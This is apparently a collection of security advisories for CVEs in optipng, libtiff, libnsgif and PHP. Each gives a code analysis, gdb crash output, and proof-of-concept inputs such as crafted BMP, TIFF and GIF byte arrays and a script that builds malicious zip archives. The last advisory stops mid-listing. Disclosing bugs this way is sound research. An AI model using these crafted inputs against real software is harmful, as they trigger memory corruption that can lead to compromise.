0x00, 0x00, 0x00, 0x00, /* horizontal resolution */ 108 | 0x00, 0x00, 0x00, 0x00, /* vertical resolution */ 109 | 0x01, 0x00, 0x00, 0x00, /* number of colors */ 110 | 0x00, 0x00, 0x00, 0x00, /* number of important colors */ 111 | 0x00, 0x00, 0x00, 0x00, /* red mask */ 112 | 0x00, 0x00, 0x00, 0x00, /* green mask */ 113 | 0x00, 0x00, 0x00, 0x00, /* blue mask */ 114 | 0x00, 0x00, 0x00, 0x00, /* alpha mask */ 115 | 0x00, 0x00, 0x00, 0x00, /* color space type */ 116 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */ 117 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */ 118 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */ 119 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */ 120 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */ 121 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */ 122 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */ 123 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */ 124 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */ 125 | 0x00, 0x00, 0x00, 0x00, /* red gamma */ 126 | 0x00, 0x00, 0x00, 0x00, /* green gamma */ 127 | 0x00, 0x00, 0x00, 0x00, /* blue gamma */ 128 | 129 | /* 130 | * delta escape (0x00, 0x02), b1, b2 131 | * 132 | * The number of delta escapes required for crt_row to be moved 133 | * beyond its allocated chunk depends on the image height. 134 | * 135 | * b1 is relevant in the last escape if the value at *crt_row is a 136 | * non-writable address due to: 137 | * 138 | * dcrtn = (b1 < endn - crtn) ? (crtn + b1) : endn; 139 | * [...] 140 | * for ( ; b2 > 0; --b2) 141 | * { 142 | * [...] 143 | * crt_row += inc; 144 | * crtn = 0 145 | * [...] 146 | * } 147 | * bmp_memset_fn(*crt_row, crtn, 0, dcrtn - crtn); 148 | * 149 | * For RLE4-encoded data, bmp_rle4_memset() bails if dcrtn - crtn == 0 150 | */ 151 | 0x00, 0x02, 0x11, 0xff, 152 | 0x00, 0x02, 0x11, 0xff, 153 | 0x00, 0x02, 0x11, 0xff, 154 | 0x00, 0x02, 0x11, 0xff, 155 | 0x00, 0x02, 0x11, 0xff, 156 | 0x00, 0x02, 0x11, 0xff, 157 | 0x00, 0x02, 0x11, 0xff, 158 | 0x00, 0x02, 0x11, 0xff, 159 | 0x00, 0x02, 0x00, 0xff, 160 | 161 | /* 162 | * absolute mode (0x00, 0x03..0xff) followed by the value that's 163 | * bmp_fread_fn() to *crt_row 164 | */ 165 | 0x00, 0xff, 0x44, 0x33, 0x22, 0x11 166 | }; 167 | #+end_src 168 | 169 | 170 | * Solution 171 | This issue has been assigned CVE-2016-2191 and is fixed in optipng 172 | 0.7.6. 173 | -------------------------------------------------------------------------------- /005-libtiff.org: -------------------------------------------------------------------------------- 1 | #+title: libtiff: invalid write (CVE-2015-7554) 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | ~_TIFFVGetField()~ in libtiff-4.0.6 may write field data for certain 6 | extension tags to invalid or possibly arbitrary memory. 7 | 8 | Each tag has a ~field_passcount~ variable in their TIFFField struct: 9 | 10 | tiff-4.0.6/libtiff/tif_dir.h #276..289: 11 | #+begin_src c 12 | struct _TIFFField { 13 | uint32 field_tag; /* field's tag */ 14 | short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */ 15 | short field_writecount; /* write count/TIFF_VARIABLE */ 16 | TIFFDataType field_type; /* type of associated data */ 17 | uint32 reserved; /* reserved for future extension */ 18 | TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */ 19 | TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */ 20 | unsigned short field_bit; /* bit in fieldsset bit vector */ 21 | unsigned char field_oktochange; /* if true, can change while writing */ 22 | unsigned char field_passcount; /* if true, pass dir count on set */ 23 | char* field_name; /* ASCII name */ 24 | TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */ 25 | }; 26 | #+end_src 27 | 28 | For example: 29 | 30 | tiff-4.0.6/libtiff/tif_fax3.c #1139..1141: 31 | #+begin_src c 32 | static const TIFFField fax3Fields[] = { 33 | { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL }, 34 | }; 35 | #+end_src 36 | 37 | However, ~field_passcount~ is always assigned TRUE if the tag is 38 | processed by ~_TIFFCreateAnonField()~. This happens on unsuccessful 39 | invocations of ~TIFFReadDirectoryFindFieldInfo()~: 40 | 41 | tiff-4.0.6/libtiff/tif_dirread.c #3396..4076: 42 | #+begin_src c 43 | int 44 | TIFFReadDirectory(TIFF* tif) 45 | { 46 | [...] 47 | TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii); 48 | if (fii == FAILED_FII) 49 | { 50 | TIFFWarningExt(tif->tif_clientdata, module, 51 | "Unknown field with tag %d (0x%x) encountered", 52 | dp->tdir_tag,dp->tdir_tag); 53 | /* the following knowingly leaks the 54 | anonymous field structure */ 55 | if (!_TIFFMergeFields(tif, 56 | _TIFFCreateAnonField(tif, 57 | dp->tdir_tag, 58 | (TIFFDataType) dp->tdir_type), 59 | 1)) { 60 | [...] 61 | } 62 | #+end_src 63 | 64 | tiff-4.0.6/libtiff/tif_dirinfo.c #627..719: 65 | #+begin_src c 66 | TIFFField* 67 | _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type) 68 | { 69 | [...] 70 | fld->field_bit = FIELD_CUSTOM; 71 | [...] 72 | fld->field_passcount = TRUE; 73 | [...] 74 | } 75 | #+end_src 76 | 77 | If the field for a 1-count extension tag whose ~field_passcount~ has 78 | been overridden is later read by ~_TIFFVGetField()~, this happens: 79 | 80 | tiff-4.0.6/libtiff/tif_dir.c #823..1145: 81 | #+begin_src c 82 | static int 83 | _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap) 84 | { 85 | [...] 86 | uint32 standard_tag = tag; 87 | [...] 88 | if (fip->field_bit == FIELD_CUSTOM) { 89 | standard_tag = 0; 90 | } 91 | 92 | switch (standard_tag) { 93 | [...] 94 | default: 95 | { 96 | [...] 97 | for (i = 0; i < td->td_customValueCount; i++) { 98 | [...] 99 | if (fip->field_passcount) { 100 | if (fip->field_readcount == TIFF_VARIABLE2) 101 | *va_arg(ap, uint32*) = (uint32)tv->count; 102 | else /* Assume TIFF_VARIABLE */ 103 | *va_arg(ap, uint16*) = (uint16)tv->count; 104 | *va_arg(ap, void **) = tv->value; 105 | ret_val = 1; 106 | } 107 | [...] 108 | } 109 | } 110 | } 111 | [...] 112 | } 113 | #+end_src 114 | 115 | 116 | With an invocation of ~TIFFGetField()~ such as: 117 | 118 | #+begin_src c 119 | TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst); 120 | #+end_src 121 | 122 | for a TIFFTAG_GROUP3OPTIONS specified as: 123 | 124 | #+begin_src c 125 | 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41 126 | ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ 127 | tag type count offset/value 128 | #+end_src 129 | 130 | the count is written to ~dst~, whereas 0x41414141 is written to 131 | invalid/arbitrary memory. 132 | 133 | 134 | Using the included tiffsplit utility as an example: 135 | 136 | tiff-4.0.6/tools/tiffsplit.c #157..228: 137 | #+begin_src c 138 | static int 139 | tiffcp(TIFF* in, TIFF* out) 140 | { 141 | [...] 142 | CopyField(TIFFTAG_YRESOLUTION, floatv); 143 | CopyField(TIFFTAG_GROUP3OPTIONS, longv); 144 | [...] 145 | } 146 | #+end_src 147 | 148 | #+begin_src sh 149 | $ gdb -q --args tiffsplit tag.tiff 150 | Reading symbols from tiffsplit...done. 151 | (gdb) r 152 | TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered. 153 | 154 | Program received signal SIGSEGV, Segmentation fault. 155 | 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056 156 | 1056 *va_arg(ap, void **) = tv->value; 157 | (gdb) x/i $eip 158 | => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax) 159 | (gdb) x/x $edx 160 | 0x804d670: 0x41414141 161 | (gdb) x/x $eax 162 | 0x41410000: Cannot access memory at address 0x41410000 163 | (gdb) 164 | #+end_src 165 | 166 | 167 | tag.tiff: 168 | #+begin_src c 169 | unsigned char tiff[] = { 170 | /* little-endian */ 171 | 0x49, 0x49, 172 | 173 | /* version */ 174 | 0x2a, 0x00, 175 | 176 | /* tif->tif_diroff */ 177 | 0x09, 0x00, 0x00, 0x00, 178 | 0x00, 179 | 180 | /* tag count */ 181 | 0x07, 0x00, 182 | 183 | /* tag | type | count | offset/value */ 184 | /* TIFFTAG_IMAGEWIDTH */ 185 | 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 186 | /* TIFFTAG_IMAGELENGTH */ 187 | 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 188 | /* TIFFTAG_BITSPERSAMPLE */ 189 | 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 190 | /* TIFFTAG_STRIPOFFSETS */ 191 | 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 192 | /* TIFFTAG_STRIPBYTECOUNTS */ 193 | 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 194 | /* TIFFTAG_YRESOLUTION */ 195 | 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 196 | /* TIFFTAG_GROUP3OPTIONS */ 197 | 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 198 | 199 | /* tif->tif_nextdiroff */ 200 | 0x00, 0x00, 0x00, 0x00, 201 | 202 | /* bits per sample */ 203 | 0x08, 0x00, 204 | 0x08, 0x00, 205 | 0x08, 0x00, 206 | }; 207 | #+end_src 208 | 209 | 210 | This issue has been assigned CVE-2015-7554 and it has yet to be fixed. 211 | -------------------------------------------------------------------------------- /010-php.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2016-4473: php: invalid free in phar_extract_file() 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | An invalid free (assigned CVE-2016-4473) may occur under certain 6 | conditions when processing phar-compatible archives in php 5.6.22, 7.0.7 7 | and git head: 8 | 9 | php-7.0.7/ext/phar/phar_object.c 10 | #+begin_src c 11 | 4063 static int phar_extract_file(zend_bool overwrite, phar_entry_info *entry, char *dest, int dest_len, char **error) /* {{{ */ 12 | 4064 { 13 | .... 14 | 4071 cwd_state new_state; 15 | .... 16 | 4084 new_state.cwd = (char*)emalloc(2); // (ref:1) 17 | 4085 new_state.cwd[0] = DEFAULT_SLASH; 18 | 4086 new_state.cwd[1] = '\0'; 19 | 4087 new_state.cwd_length = 1; 20 | 4088 if (virtual_file_ex(&new_state, entry->filename, NULL, CWD_EXPAND) != 0 || 21 | 4089 new_state.cwd_length <= 1) { 22 | .... 23 | 4099 } 24 | .... 25 | 4163 26 | 4164 if (FAILURE == php_stream_stat_path(fullpath, &ssb)) { 27 | 4165 if (entry->is_dir) { 28 | 4166 if (!php_stream_mkdir(fullpath, entry->flags & PHAR_ENT_PERM_MASK, PHP_STREAM_MKDIR_RECURSIVE, NULL)) { // (ref:2) 29 | .... 30 | 4169 free(new_state.cwd); // (ref:3) 31 | .... 32 | 4171 } 33 | 4172 } else { 34 | 4173 if (!php_stream_mkdir(fullpath, 0777, PHP_STREAM_MKDIR_RECURSIVE, NULL)) { // (ref:4) 35 | .... 36 | 4176 free(new_state.cwd); // (ref:5) 37 | .... 38 | 4178 } 39 | 4179 } 40 | 4180 } 41 | .... 42 | 4246 } 43 | #+end_src 44 | 45 | ~new_state.cwd~ is initially allocated through the internal zend 46 | allocator in ([[(1)]]) and is later reallocated as the file path is resolved 47 | in ~virtual_file_ex~: 48 | 49 | php-7.0.7/Zend/zend_virtual_cwd.c 50 | #+begin_src c 51 | 1178 CWD_API int virtual_file_ex(cwd_state *state, const char *path, verify_path_func verify_path, int use_realpath) /* {{{ */ 52 | 1179 { 53 | .... 54 | 1336 if (verify_path) { 55 | .... 56 | 1342 tmp = erealloc(state->cwd, state->cwd_length+1); 57 | .... 58 | 1349 state->cwd = (char *) tmp; 59 | 1350 60 | 1351 memcpy(state->cwd, resolved_path, state->cwd_length+1); 61 | .... 62 | 1360 } else { 63 | .... 64 | 1362 tmp = erealloc(state->cwd, state->cwd_length+1); 65 | .... 66 | 1369 state->cwd = (char *) tmp; 67 | 1370 68 | 1371 memcpy(state->cwd, resolved_path, state->cwd_length+1); 69 | .... 70 | 1373 } 71 | .... 72 | 1379 } 73 | #+end_src 74 | 75 | However, should ~php_stream_mkdir~ fail in ([[(2)]]) or ([[(4)]]), ~cwd~ is 76 | freed by the underlying libc allocator in ([[(3)]]) or ([[(5)]]). 77 | 78 | On FreeBSD (ie. jemalloc) with mkdir() failing due to a directory 79 | already existing as a regular file: 80 | 81 | #+begin_src sh 82 | $ python mkzip.py 83 | $ gdb711 --args php phar.php out/ 1.zip 2.zip 84 | (gdb) r 85 | Starting program: /usr/home/php/php/bin/php phar.php out/ 1.zip 2.zip 86 | 87 | Warning: PharData::extractTo(): Not a directory in /usr/home/php/phar.php on line 14 88 | 89 | Program received signal SIGBUS, Bus error. 90 | 0x00000008025bde2c in __jemalloc_arena_dalloc_bin_locked (arena=, chunk=, ptr=, mapelm=) at jemalloc_arena.c:1717 91 | 92 | 1717 bin->stats.allocated -= size; 93 | 94 | (gdb) bt 95 | #0 0x00000008025bde2c in __jemalloc_arena_dalloc_bin_locked (arena=, chunk=, ptr=, mapelm=) at jemalloc_arena.c:1717 96 | #1 0x00000008025be1cf in __jemalloc_arena_dalloc_bin (chunk=, pageind=, mapelm=, arena=, chunk=, ptr=, pageind=, mapelm=) at jemalloc_arena.c:1733 97 | #2 __jemalloc_arena_dalloc_small (arena=0x4343434343434341, chunk=0x803800000, ptr=0x0, pageind=) at jemalloc_arena.c:1749 98 | #3 0x00000008025c99c5 in __jemalloc_arena_dalloc (arena=, chunk=, ptr=, try_tcache=, arena=, chunk=, ptr=, try_tcache=) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/arena.h:1005 99 | #4 __jemalloc_idallocx (ptr=, try_tcache=, ptr=, try_tcache=) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:913 100 | #5 __jemalloc_iqallocx (ptr=, try_tcache=, ptr=, try_tcache=) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:932 101 | #6 __jemalloc_iqalloc (ptr=) at /usr/src/lib/libc/../../contrib/jemalloc/include/jemalloc/internal/jemalloc_internal.h:939 102 | #7 __free (ptr=0x803879060) at jemalloc_jemalloc.c:1277 103 | #8 0x0000000000762b93 in phar_extract_file (overwrite=0 '\000', entry=0x803870540, dest=0x803861018 "out/", dest_len=4, error=0x7fffffffc188) at /home/php/php-7.0.7/ext/phar/phar_object.c:4176 104 | #9 0x0000000000762455 in zim_Phar_extractTo (execute_data=0x803813250, return_value=0x8038131f0) at /home/php/php-7.0.7/ext/phar/phar_object.c:4373 105 | #10 0x0000000000b19529 in ZEND_DO_FCALL_SPEC_HANDLER (execute_data=0x803813030) at Zend/zend_vm_execute.h:842 106 | #11 0x0000000000ad22a4 in execute_ex (ex=0x803813030) at Zend/zend_vm_execute.h:417 107 | #12 0x0000000000ad2da5 in zend_execute (op_array=0x80387b000, return_value=0x0) at Zend/zend_vm_execute.h:458 108 | #13 0x0000000000a28609 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/php/php-7.0.7/Zend/zend.c:1427 109 | #14 0x0000000000951045 in php_execute_script (primary_file=0x7fffffffe868) at /home/php/php-7.0.7/main/main.c:2494 110 | #15 0x0000000000c07896 in do_cli (argc=5, argv=0x7fffffffeb48) at /home/php/php-7.0.7/sapi/cli/php_cli.c:974 111 | #16 0x0000000000c06419 in main (argc=5, argv=0x7fffffffeb48) at /home/php/php-7.0.7/sapi/cli/php_cli.c:1344 112 | 113 | (gdb) x/i $rip 114 | => 0x8025bde2c <__jemalloc_arena_dalloc_bin_locked+556 at jemalloc_arena.c:1717>:sub QWORD PTR [rbx+0x38],rax 115 | 116 | (gdb) i r 117 | rax 0x8 8 118 | rbx 0x4141414141414141 4702111234474983745 119 | rcx 0x42424243 1111638595 120 | rdx 0x0 0 121 | rsi 0x4343434343434343 4846791580151137091 122 | rdi 0x4343434343434341 4846791580151137089 123 | rbp 0x7fffffffbd70 0x7fffffffbd70 124 | rsp 0x7fffffffbd20 0x7fffffffbd20 125 | r8 0x0 0 126 | r9 0x0 0 127 | r10 0x803879010 34418954256 128 | r11 0x8028c12b0 34402472624 129 | r12 0x0 0 130 | r13 0x803879000 34418954240 131 | r14 0x8028adf44 34402393924 132 | r15 0x8028c1250 34402472528 133 | rip 0x8025bde2c 0x8025bde2c <__jemalloc_arena_dalloc_bin_locked+556 at jemalloc_arena.c:1717> 134 | eflags 0x10206 [ PF IF RF ] 135 | cs 0x43 67 136 | ss 0x3b 59 137 | ds 138 | es 139 | fs 140 | gs 141 | (gdb) 142 | #+end_src 143 | 144 | 145 | * mkzip.py 146 | #+begin_src python 147 | #!/usr/bin/python 148 | import zipfile 149 | 150 | fname = "AAAAAAAAxxxxBBBBCCCCCCCCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" 151 | 152 | with zipfile.ZipFile("1.zip", "w") as z: 153 | z.writestr(fname, "") 154 | 155 | with zipfile.ZipFile("2.zip", "w") as z: 156 | z.writestr("%s/b/c" % fname, "") 157 | #+end_src 158 | 159 | 160 | * phar.php 161 | #+begin_src php 162 | extractTo($argv[1]); 176 | } catch (Exception $e) { 177 | echo "NOTE: " . $e->getMessage() . "\n"; 178 | } 179 | } 180 | ?> 181 | #+end_src 182 | -------------------------------------------------------------------------------- /002-libnsgif.org: -------------------------------------------------------------------------------- 1 | #+title: libnsgif: stack overflow (CVE-2015-7505) and out-of-bounds read (CVE-2015-7506) 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * Overview 6 | 7 | Libnsgif[1] is a decoding library for GIF images. It is 8 | primarily developed and used as part of the NetSurf project. 9 | 10 | As of version 0.1.2, libnsgif is vulnerable to a stack overflow 11 | (CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way 12 | LZW-compressed GIF data is processed. 13 | 14 | 15 | * Details 16 | 17 | src/libnsgif.c #80..133: 18 | #+begin_src c 19 | /* Maximum LZW bits available 20 | */ 21 | #define GIF_MAX_LZW 12 22 | [...] 23 | static int table[2][(1 << GIF_MAX_LZW)]; 24 | static unsigned char stack[(1 << GIF_MAX_LZW) * 2]; 25 | #+end_src 26 | 27 | src/libnsgif.c #423..628: 28 | #+begin_src c 29 | static gif_result gif_initialise_frame(gif_animation *gif) { 30 | [...] 31 | if (gif_data[0] > GIF_MAX_LZW) 32 | return GIF_DATA_ERROR; 33 | [...] 34 | } 35 | #+end_src 36 | 37 | 38 | src/libnsgif.c #751..1053: 39 | #+begin_src c 40 | gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) { 41 | [...] 42 | /* Initialise the LZW decoding 43 | */ 44 | set_code_size = gif_data[0]; 45 | [...] 46 | code_size = set_code_size + 1; 47 | clear_code = (1 << set_code_size); 48 | end_code = clear_code + 1; 49 | max_code_size = clear_code << 1; 50 | max_code = clear_code + 2; 51 | [...] 52 | } 53 | #+end_src 54 | 55 | 56 | src/libnsgif.c #1145..1169: 57 | #+begin_src c 58 | void gif_init_LZW(gif_animation *gif) { 59 | [...] 60 | *stack_pointer++ =firstcode; 61 | } 62 | #+end_src 63 | 64 | 65 | src/libnsgif.c #1172..1237: 66 | #+begin_src c 67 | static bool gif_next_LZW(gif_animation *gif) { 68 | [...] 69 | code = gif_next_code(gif, code_size); 70 | [...] 71 | incode = code; 72 | if (code >= max_code) { 73 | *stack_pointer++ = firstcode; 74 | code = oldcode; 75 | } 76 | 77 | /* The following loop is the most important in the GIF decoding cycle as every 78 | * single pixel passes through it. 79 | * 80 | * Note: our stack is always big enough to hold a complete decompressed chunk. */ 81 | while (code >= clear_code) { 82 | *stack_pointer++ = table[1][code]; 83 | new_code = table[0][code]; 84 | if (new_code < clear_code) { 85 | code = new_code; 86 | break; 87 | } 88 | *stack_pointer++ = table[1][new_code]; 89 | code = table[0][new_code]; 90 | if (code == new_code) { 91 | gif->current_error = GIF_FRAME_DATA_ERROR; 92 | return false; 93 | } 94 | } 95 | 96 | *stack_pointer++ = firstcode = table[1][code]; 97 | [...] 98 | oldcode = incode; 99 | [...] 100 | } 101 | #+end_src 102 | 103 | 104 | * CVE-2015-7505 105 | 106 | Since ~gif_next_LZW()~ writes onto the stack so long as ~code~ is at 107 | least ~clear_code~, an overflow may eventually occur while processing a 108 | maliciously crafted image. 109 | 110 | Using NetSurf as an example: 111 | 112 | #+begin_src sh 113 | ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif 114 | [...] 115 | stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3) 116 | stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4) 117 | stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5) 118 | stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646) 119 | 120 | Program received signal SIGSEGV, Segmentation fault. 121 | 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210 122 | 1210 *stack_pointer++ = table[1][code]; 123 | (gdb) 124 | #+end_src 125 | 126 | 127 | stack.py: 128 | #+begin_src python 129 | class Breakpoint(gdb.Breakpoint): 130 | def stop(self): 131 | stack_pointer = get_hex("stack_pointer") 132 | stack = get_hex("&stack") 133 | stack_size = get_hex("sizeof stack / sizeof *stack") 134 | stack_end = stack + stack_size 135 | 136 | table_size = get_hex("sizeof table / sizeof **table / 2") 137 | code = get_hex("code") 138 | 139 | if stack_pointer > stack_end: 140 | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % 141 | (stack_pointer, stack_end, stack_pointer - stack_end)) 142 | if code >= table_size: 143 | print("out-of-bounds read: code: %d (+%d)" % 144 | (code, code - table_size + 1)) 145 | return False 146 | 147 | def get_hex(arg): 148 | res = gdb.execute("print/x %s" % arg, to_string=True) 149 | x = res.split(" ")[-1].strip() 150 | return int(x, 16) 151 | 152 | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") 153 | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") 154 | 155 | gdb.execute("run") 156 | #+end_src 157 | 158 | 159 | stack.gif: 160 | #+begin_src c 161 | unsigned char stack[] = { 162 | /* GIF87a */ 163 | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, 164 | 165 | /* gif_initialise() */ 166 | 0x04, 0x00, /* gif->width */ 167 | 0x04, 0x33, /* gif->height */ 168 | 0x00, /* gif->global_colours */ 169 | 0x00, /* gif->background_index */ 170 | 0x00, /* gif->aspect_ratio */ 171 | 172 | /* gif_initialise_frame() */ 173 | 0x2c, /* GIF_IMAGE_SEPARATOR */ 174 | 0x00, 0x00, /* offset_x */ 175 | 0x00, 0x00, /* offset_y */ 176 | 0x1b, 0x00, /* width */ 177 | 0x04, 0x00, /* height */ 178 | 0x00, /* flags */ 179 | 0x04, /* code size */ 180 | 0x0d, /* block_size */ 181 | 182 | /* image data */ 183 | 0x10, 0xcb, 184 | 0x41, 0xf3, 185 | 0xf3, 0xf3, 186 | 0xf3, 0xf3, 187 | 0xf3, 0xf3, 188 | 0xf3, 0xf3, 189 | 0xf3, 190 | 191 | /* end of image data */ 192 | 0x00, 193 | 194 | /* end of .gif */ 195 | 0x3b 196 | }; 197 | #+end_src 198 | 199 | 200 | * CVE-2015-7506 201 | 202 | If ~set_code_size~ is 0xc, ~clear_code~ is assigned a value of 4096. 203 | Since the while-loop in ~gif_next_LZW()~ executes so long as ~code >= 204 | clear_code~, an out-of-bounds read might occur due to ~code~ being used 205 | to dereference ~table~ (2d array * 4096). A boundary check exist in 206 | that if ~code >= max_code~, it's assigned the value of ~oldcode~ -- 207 | however, the result may still exceed ~max_code~ due to the bookkeeping 208 | of the *original* value: 209 | 210 | src/libnsgif.c #1172..1237: 211 | #+begin_src c 212 | static bool gif_next_LZW(gif_animation *gif) { 213 | [...] 214 | incode = code; 215 | if (code >= max_code) { 216 | *stack_pointer++ = firstcode; 217 | code = oldcode; 218 | } 219 | [...] 220 | oldcode = incode; 221 | [...] 222 | } 223 | #+end_src 224 | 225 | Again, using NetSurf as an example: 226 | 227 | #+begin_src sh 228 | ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif 229 | [...] 230 | out-of-bounds read: code: 6670 (+2575) 231 | out-of-bounds read: code: 7999 (+3904) 232 | #+end_src 233 | 234 | 235 | oob.py: 236 | #+begin_src python 237 | class Breakpoint(gdb.Breakpoint): 238 | def stop(self): 239 | stack_pointer = get_hex("stack_pointer") 240 | stack = get_hex("&stack") 241 | stack_size = get_hex("sizeof stack / sizeof *stack") 242 | stack_end = stack + stack_size 243 | 244 | table_size = get_hex("sizeof table / sizeof **table / 2") 245 | code = get_hex("code") 246 | 247 | if stack_pointer > stack_end: 248 | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % 249 | (stack_pointer, stack_end, stack_pointer - stack_end)) 250 | if code >= table_size: 251 | print("out-of-bounds read: code: %d (+%d)" % 252 | (code, code - table_size + 1)) 253 | return False 254 | 255 | def get_hex(arg): 256 | res = gdb.execute("print/x %s" % arg, to_string=True) 257 | x = res.split(" ")[-1].strip() 258 | return int(x, 16) 259 | 260 | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") 261 | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") 262 | 263 | gdb.execute("run") 264 | #+end_src 265 | 266 | 267 | oob.gif: 268 | #+begin_src c 269 | unsigned char oob[] = { 270 | /* GIF87a */ 271 | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, 272 | 273 | /* gif_initialise() */ 274 | 0x04, 0x00, /* gif->width */ 275 | 0x04, 0x33, /* gif->height */ 276 | 0x00, /* gif->global_colours */ 277 | 0x00, /* gif->background_index */ 278 | 0x00, /* gif->aspect_ratio */ 279 | 280 | /* gif_initialise_frame() */ 281 | 0x2c, /* GIF_IMAGE_SEPARATOR */ 282 | 0x00, 0x00, /* offset_x */ 283 | 0x00, 0x00, /* offset_y */ 284 | 0x1b, 0x00, /* width */ 285 | 0x04, 0x00, /* height */ 286 | 0x00, /* flags */ 287 | 0x0c, /* code size */ 288 | 0x0d, /* block_size */ 289 | 290 | /* image data */ 291 | 0x10, 0xcb, 292 | 0x41, 0xf3, 293 | 0xf3, 0xf3, 294 | 0xf3, 0xf3, 295 | 0xf3, 0xf3, 296 | 0xf3, 0xf3, 297 | 0xf3, 298 | 299 | /* end of image data */ 300 | 0x00, 301 | 302 | /* end of .gif */ 303 | 0x3b 304 | }; 305 | #+end_src 306 | 307 | 308 | * Solution 309 | 310 | Both vulnerabilities are fixed in git HEAD[2]. 311 | 312 | 313 | * Footnotes 314 | 315 | [1] http://www.netsurf-browser.org/projects/libnsgif/ 316 | 317 | [2] http://source.netsurf-browser.org/libnsgif.git/ 318 | -------------------------------------------------------------------------------- /011-php.org: -------------------------------------------------------------------------------- 1 | #+title: CVE-2016-5399: php: out-of-bounds write in bzread() 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | * Details 6 | PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in 7 | its ~bzread()~ function: 8 | 9 | php-7.0.8/ext/bz2/bz2.c 10 | #+begin_src c 11 | 364 static PHP_FUNCTION(bzread) 12 | 365 { 13 | ... 14 | 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data)); 15 | 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0'; 16 | 384 17 | 385 RETURN_NEW_STR(data); 18 | 386 } 19 | #+end_src 20 | 21 | php-7.0.8/ext/bz2/bz2.c 22 | #+begin_src c 23 | 210 php_stream_ops php_stream_bz2io_ops = { 24 | 211 php_bz2iop_write, php_bz2iop_read, 25 | 212 php_bz2iop_close, php_bz2iop_flush, 26 | 213 "BZip2", 27 | 214 NULL, /* seek */ 28 | 215 NULL, /* cast */ 29 | 216 NULL, /* stat */ 30 | 217 NULL /* set_option */ 31 | 218 }; 32 | #+end_src 33 | 34 | php-7.0.8/ext/bz2/bz2.c 35 | #+begin_src c 36 | 136 /* {{{ BZip2 stream implementation */ 37 | 137 38 | 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t 